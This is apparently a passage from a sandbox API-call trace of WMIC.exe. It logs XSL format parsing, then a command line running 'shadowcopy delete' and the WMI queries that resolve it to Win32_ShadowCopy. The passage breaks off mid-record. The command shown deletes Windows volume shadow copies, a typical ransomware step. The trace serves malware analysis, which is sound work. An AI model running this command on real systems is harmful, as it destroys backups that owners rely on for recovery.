(param_1="wmiclitableformatnosys") returned 0x16 [0104.619] SysStringLen (param_1="TABLE") returned 0x5 [0104.619] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0104.619] SysStringLen (param_1="XML") returned 0x3 [0104.619] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0104.619] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.619] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0104.619] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.619] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0104.619] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.619] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.620] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0104.620] malloc (_Size=0x18) returned 0x31eaa8 [0104.620] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.620] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.620] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.620] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=15, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.620] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="htable.xsl") returned 0x0 [0104.620] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.620] malloc (_Size=0xc) returned 0x31fd38 [0104.620] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.620] free (_Block=0x31fd38) [0104.621] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="htable-sortby.xsl", varVal2=0x0)) returned 0x0 [0104.621] malloc (_Size=0xc) returned 0x31fd38 [0104.621] malloc (_Size=0xc) returned 0x31fd50 [0104.621] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0104.621] SysStringLen (param_1="TABLE") returned 0x5 [0104.621] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0104.621] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.621] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0104.621] SysStringLen (param_1="XML") returned 0x3 [0104.621] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0104.621] SysStringLen (param_1="texttablewsys") returned 0xd [0104.621] SysStringLen (param_1="XML") returned 0x3 [0104.621] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0104.621] malloc (_Size=0x18) returned 0x31eac8 [0104.621] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.621] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.621] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.621] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=16, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.622] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="htable.xsl") returned 0x0 [0104.622] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.622] malloc (_Size=0xc) returned 0x31fd68 [0104.622] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.622] free (_Block=0x31fd68) [0104.622] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="htable-sortby", varVal2=0x0)) returned 0x0 [0104.622] malloc (_Size=0xc) returned 0x31fd68 [0104.622] malloc (_Size=0xc) returned 0x31fd80 [0104.622] SysStringLen (param_1="htable-sortby") returned 0xd [0104.622] SysStringLen (param_1="TABLE") returned 0x5 [0104.622] SysStringLen (param_1="htable-sortby") returned 0xd [0104.622] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.622] SysStringLen (param_1="htable-sortby") returned 0xd [0104.622] SysStringLen (param_1="XML") returned 0x3 [0104.622] SysStringLen (param_1="htable-sortby") returned 0xd [0104.623] SysStringLen (param_1="texttablewsys") returned 0xd [0104.623] SysStringLen (param_1="htable-sortby") returned 0xd [0104.623] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0104.623] SysStringLen (param_1="XML") returned 0x3 [0104.623] SysStringLen (param_1="htable-sortby") returned 0xd [0104.623] malloc (_Size=0x18) returned 0x31eae8 [0104.623] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.623] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.623] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.623] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=17, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.623] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="mof.xsl") returned 0x0 [0104.623] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.623] malloc (_Size=0xc) returned 0x31fd98 [0104.623] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.623] free (_Block=0x31fd98) [0104.624] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="wmiclimofformat.xsl", varVal2=0x0)) returned 0x0 [0104.624] malloc (_Size=0xc) returned 0x31fd98 [0104.624] malloc (_Size=0xc) returned 0x31fdb0 [0104.624] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0104.624] SysStringLen (param_1="TABLE") returned 0x5 [0104.624] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0104.624] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.624] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0104.624] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.624] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0104.624] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0104.624] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.624] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0104.624] malloc (_Size=0x18) returned 0x31eb08 [0104.624] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.624] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.624] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.624] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=18, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.624] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="mof.xsl") returned 0x0 [0104.625] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.625] malloc (_Size=0xc) returned 0x31fdc8 [0104.625] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.625] free (_Block=0x31fdc8) [0104.625] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="wmiclimofformat", varVal2=0x0)) returned 0x0 [0104.625] malloc (_Size=0xc) returned 0x31fdc8 [0104.625] malloc (_Size=0xc) returned 0x31fde0 [0104.625] SysStringLen (param_1="wmiclimofformat") returned 0xf [0104.625] SysStringLen (param_1="TABLE") returned 0x5 [0104.625] SysStringLen (param_1="wmiclimofformat") returned 0xf [0104.625] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.625] SysStringLen (param_1="wmiclimofformat") returned 0xf [0104.625] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.625] SysStringLen (param_1="wmiclimofformat") returned 0xf [0104.625] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0104.625] SysStringLen (param_1="wmiclimofformat") returned 0xf [0104.625] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0104.625] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.625] SysStringLen (param_1="wmiclimofformat") returned 0xf [0104.625] malloc (_Size=0x18) returned 0x31eb28 [0104.626] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.626] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.626] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.626] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=19, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.626] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="textvaluelist.xsl") returned 0x0 [0104.626] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.626] malloc (_Size=0xc) returned 0x31fdf8 [0104.626] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.626] free (_Block=0x31fdf8) [0104.626] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="wmiclivalueformat.xsl", varVal2=0x0)) returned 0x0 [0104.626] malloc (_Size=0xc) returned 0x31fdf8 [0104.626] malloc (_Size=0xc) returned 0x31fe10 [0104.627] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0104.627] SysStringLen (param_1="TABLE") returned 0x5 [0104.627] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0104.627] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.627] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0104.627] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.627] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0104.627] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.627] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.627] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0104.627] malloc (_Size=0x18) returned 0x31eb48 [0104.627] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.627] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.627] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.627] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=20, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.627] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="textvaluelist.xsl") returned 0x0 [0104.627] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.627] malloc (_Size=0xc) returned 0x31fe28 [0104.627] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.628] free (_Block=0x31fe28) [0104.628] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="wmiclivalueformat", varVal2=0x0)) returned 0x0 [0104.628] malloc (_Size=0xc) returned 0x31fe28 [0104.628] malloc (_Size=0xc) returned 0x31fe40 [0104.628] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0104.628] SysStringLen (param_1="TABLE") returned 0x5 [0104.628] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0104.628] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.628] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0104.628] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.628] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0104.628] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.628] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0104.628] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0104.628] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.628] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0104.628] malloc (_Size=0x18) returned 0x31eb68 [0104.628] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.629] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.629] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.629] IUnknown:Release (This=0x21f8e80) returned 0x0 [0104.629] FreeThreadedDOMDocument:IUnknown:Release (This=0x21f8c58) returned 0x1 [0104.629] FreeThreadedDOMDocument:IUnknown:Release (This=0x21f4630) returned 0x0 [0104.629] free (_Block=0x312f50) [0104.629] GetCommandLineW () returned="\"C:\\Windows\\System32\\wbem\\WMIC.exe\" shadowcopy delete" [0104.629] malloc (_Size=0x70) returned 0x313188 [0104.629] memcpy_s (in: _Destination=0x313188, _DestinationSize=0x6e, _Source=0x60190e, _SourceSize=0x6a | out: _Destination=0x313188) returned 0x0 [0104.629] malloc (_Size=0xc) returned 0x31fe58 [0104.629] malloc (_Size=0xc) returned 0x31fe70 [0104.629] malloc (_Size=0xc) returned 0x31fe88 [0104.629] malloc (_Size=0xc) returned 0x2382060 [0104.629] malloc (_Size=0x80) returned 0x23805b0 [0104.629] GetLocalTime (in: lpSystemTime=0x25fb70 | out: lpSystemTime=0x25fb70*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x37, wMilliseconds=0x5b)) [0104.630] _vsnwprintf (in: _Buffer=0x23805b0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x25fb50 | out: _Buffer="04-01-2020T21:04:55") returned 19 [0104.630] lstrlenW (lpString=" shadowcopy delete") returned 18 [0104.630] malloc (_Size=0x26) returned 0x31feb0 [0104.630] lstrlenW (lpString=" shadowcopy delete") returned 18 [0104.630] lstrlenW (lpString=" shadowcopy delete") returned 18 [0104.630] malloc (_Size=0x26) returned 0x31fee0 [0104.630] lstrlenW (lpString=" shadowcopy delete") returned 18 [0104.630] lstrlenW (lpString=" shadowcopy delete") returned 18 [0104.630] lstrlenW (lpString=" shadowcopy delete") returned 18 [0104.630] malloc (_Size=0x16) returned 0x31eb88 [0104.630] lstrlenW (lpString="shadowcopy") returned 10 [0104.630] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0104.630] malloc (_Size=0x16) returned 0x31eba8 [0104.630] malloc (_Size=0x4) returned 0x312f50 [0104.630] free (_Block=0x0) [0104.630] free (_Block=0x31eb88) [0104.630] lstrlenW (lpString=" shadowcopy delete") returned 18 [0104.630] malloc (_Size=0xe) returned 0x2382078 [0104.630] lstrlenW (lpString="delete") returned 6 [0104.630] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0104.630] malloc (_Size=0xe) returned 0x2382090 [0104.630] malloc (_Size=0x8) returned 0x31ff10 [0104.630] memmove_s (in: _Destination=0x31ff10, _DestinationSize=0x4, _Source=0x312f50, _SourceSize=0x4 | out: _Destination=0x31ff10) returned 0x0 [0104.630] free (_Block=0x312f50) [0104.630] free (_Block=0x0) [0104.630] free (_Block=0x2382078) [0104.631] malloc (_Size=0x8) returned 0x312f50 [0104.631] lstrlenW (lpString="QUIT") returned 4 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.631] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0104.631] lstrlenW (lpString="EXIT") returned 4 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.631] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0104.631] free (_Block=0x312f50) [0104.631] WbemLocator:IUnknown:AddRef (This=0x1e20828) returned 0x2 [0104.631] malloc (_Size=0x8) returned 0x312f50 [0104.631] lstrlenW (lpString="/") returned 1 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.631] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0104.631] lstrlenW (lpString="-") returned 1 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.631] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0104.631] lstrlenW (lpString="CLASS") returned 5 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.631] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0104.631] lstrlenW (lpString="PATH") returned 4 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.631] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0104.631] lstrlenW (lpString="CONTEXT") returned 7 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.631] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.631] malloc (_Size=0x16) returned 0x31eb88 [0104.631] lstrlenW (lpString="shadowcopy") returned 10 [0104.632] GetCurrentThreadId () returned 0x174 [0104.632] ??0CHString@@QAE@XZ () returned 0x25fac4 [0104.632] malloc (_Size=0xc) returned 0x2382078 [0104.632] malloc (_Size=0xc) returned 0x23820a8 [0104.632] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e20828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x95c1e0 | out: ppNamespace=0x95c1e0*=0x1e2d00c) returned 0x0 [0104.679] free (_Block=0x23820a8) [0104.679] free (_Block=0x2382078) [0104.679] CoSetProxyBlanket (pProxy=0x1e2d00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0104.679] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.679] GetCurrentThreadId () returned 0x174 [0104.679] ??0CHString@@QAE@XZ () returned 0x25fa5c [0104.679] malloc (_Size=0xc) returned 0x2382078 [0104.680] malloc (_Size=0xc) returned 0x23820a8 [0104.680] malloc (_Size=0xc) returned 0x23820c0 [0104.680] malloc (_Size=0xc) returned 0x23820d8 [0104.680] SysStringLen (param_1="root\\cli") returned 0x8 [0104.680] SysStringLen (param_1="\\") returned 0x1 [0104.680] malloc (_Size=0xc) returned 0x23820f0 [0104.680] SysStringLen (param_1="root\\cli\\") returned 0x9 [0104.680] SysStringLen (param_1="ms_409") returned 0x6 [0104.680] free (_Block=0x23820d8) [0104.680] free (_Block=0x23820c0) [0104.680] free (_Block=0x23820a8) [0104.680] free (_Block=0x2382078) [0104.680] malloc (_Size=0xc) returned 0x2382078 [0104.681] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e20828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x95c1e4 | out: ppNamespace=0x95c1e4*=0x1e2d064) returned 0x0 [0104.696] free (_Block=0x2382078) [0104.696] free (_Block=0x23820f0) [0104.696] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.696] GetCurrentThreadId () returned 0x174 [0104.696] ??0CHString@@QAE@XZ () returned 0x25fac8 [0104.696] malloc (_Size=0xc) returned 0x23820f0 [0104.696] malloc (_Size=0xc) returned 0x2382078 [0104.696] malloc (_Size=0xc) returned 0x23820a8 [0104.696] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0104.696] malloc (_Size=0x3a) returned 0x31ff20 [0104.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x911f7c, cbMultiByte=-1, lpWideCharStr=0x31ff20, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0104.696] free (_Block=0x31ff20) [0104.696] malloc (_Size=0xc) returned 0x23820c0 [0104.696] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0104.696] SysStringLen (param_1="shadowcopy") returned 0xa [0104.696] malloc (_Size=0xc) returned 0x23820d8 [0104.697] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0104.697] SysStringLen (param_1="'") returned 0x1 [0104.697] free (_Block=0x23820c0) [0104.697] free (_Block=0x23820a8) [0104.697] free (_Block=0x2382078) [0104.697] free (_Block=0x23820f0) [0104.697] IWbemServices:GetObject (in: This=0x1e2d00c, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x25fac4*=0x0, ppCallResult=0x0 | out: ppObject=0x25fac4*=0x1e39a18, ppCallResult=0x0) returned 0x0 [0104.890] malloc (_Size=0xc) returned 0x23820f0 [0104.890] IWbemClassObject:Get (in: This=0x1e39a18, wszName="Target", lFlags=0, pVal=0x25fa84*(varType=0x0, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x94, varVal1=0xffffffff, varVal2=0x91a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa84*(varType=0x8, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x94, varVal1="Select * from Win32_ShadowCopy", varVal2=0x91a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0104.891] free (_Block=0x23820f0) [0104.891] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0104.891] malloc (_Size=0x3e) returned 0x31ff20 [0104.891] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0104.891] malloc (_Size=0xc) returned 0x23820f0 [0104.891] IWbemClassObject:Get (in: This=0x1e39a18, wszName="PWhere", lFlags=0, pVal=0x25fa84*(varType=0x0, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x94, varVal1=0x624f8c, varVal2=0x91a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa84*(varType=0x8, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x94, varVal1=" Where ID = '#'", varVal2=0x91a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0104.891] free (_Block=0x23820f0) [0104.891] lstrlenW (lpString=" Where ID = '#'") returned 15 [0104.891] malloc (_Size=0x20) returned 0x31ff68 [0104.891] lstrlenW (lpString=" Where ID = '#'") returned 15 [0104.891] malloc (_Size=0xc) returned 0x23820f0 [0104.891] IWbemClassObject:Get (in: This=0x1e39a18, wszName="Connection", lFlags=0, pVal=0x25fa84*(varType=0x0, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x94, varVal1=0x6569dc, varVal2=0x91a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa84*(varType=0xd, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x94, varVal1=0x1e39dd8, varVal2=0x91a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0104.892] free (_Block=0x23820f0) [0104.892] IUnknown:QueryInterface (in: This=0x1e39dd8, riid=0x916b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x25fabc | out: ppvObject=0x25fabc*=0x1e39dd8) returned 0x0 [0104.892] GetCurrentThreadId () returned 0x174 [0104.892] ??0CHString@@QAE@XZ () returned 0x25fa38 [0104.892] malloc (_Size=0xc) returned 0x23820f0 [0104.892] IWbemClassObject:Get (in: This=0x1e39dd8, wszName="Namespace", lFlags=0, pVal=0x25fa08*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa08*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0104.892] free (_Block=0x23820f0) [0104.892] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0104.892] malloc (_Size=0x16) returned 0x31ebc8 [0104.892] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0104.892] malloc (_Size=0xc) returned 0x23820f0 [0104.892] IWbemClassObject:Get (in: This=0x1e39dd8, wszName="Locale", lFlags=0, pVal=0x25fa08*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x665844, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa08*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0104.892] free (_Block=0x23820f0) [0104.892] lstrlenW (lpString="ms_409") returned 6 [0104.892] malloc (_Size=0xe) returned 0x23820f0 [0104.892] lstrlenW (lpString="ms_409") returned 6 [0104.892] malloc (_Size=0xc) returned 0x2382078 [0104.893] IWbemClassObject:Get (in: This=0x1e39dd8, wszName="User", lFlags=0, pVal=0x25fa08*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x665844, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa08*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x665844, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0104.893] free (_Block=0x2382078) [0104.893] malloc (_Size=0xc) returned 0x2382078 [0104.893] IWbemClassObject:Get (in: This=0x1e39dd8, wszName="Password", lFlags=0, pVal=0x25fa08*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x665844, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa08*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x665844, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0104.893] free (_Block=0x2382078) [0104.893] malloc (_Size=0xc) returned 0x2382078 [0104.893] IWbemClassObject:Get (in: This=0x1e39dd8, wszName="Server", lFlags=0, pVal=0x25fa08*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x665844, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa08*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0104.893] free (_Block=0x2382078) [0104.893] lstrlenW (lpString=".") returned 1 [0104.893] malloc (_Size=0x4) returned 0x31ff90 [0104.893] lstrlenW (lpString=".") returned 1 [0104.893] malloc (_Size=0xc) returned 0x2382078 [0104.893] IWbemClassObject:Get (in: This=0x1e39dd8, wszName="Authority", lFlags=0, pVal=0x25fa08*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x665844, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa08*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x238, varVal1=0x665844, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0104.893] free (_Block=0x2382078) [0104.893] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.893] IUnknown:Release (This=0x1e39dd8) returned 0x1 [0104.894] GetCurrentThreadId () returned 0x174 [0104.894] ??0CHString@@QAE@XZ () returned 0x25fa30 [0104.894] malloc (_Size=0xc) returned 0x2382078 [0104.894] IWbemClassObject:Get (in: This=0x1e39a18, wszName="__RELPATH", lFlags=0, pVal=0x25fa10*(varType=0x0, wReserved1=0x7559, wReserved2=0x0, wReserved3=0x1e2, varVal1=0x0, varVal2=0x1e39dd8), pType=0x0, plFlavor=0x0 | out: pVal=0x25fa10*(varType=0x8, wReserved1=0x7559, wReserved2=0x0, wReserved3=0x1e2, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x1e39dd8), pType=0x0, plFlavor=0x0) returned 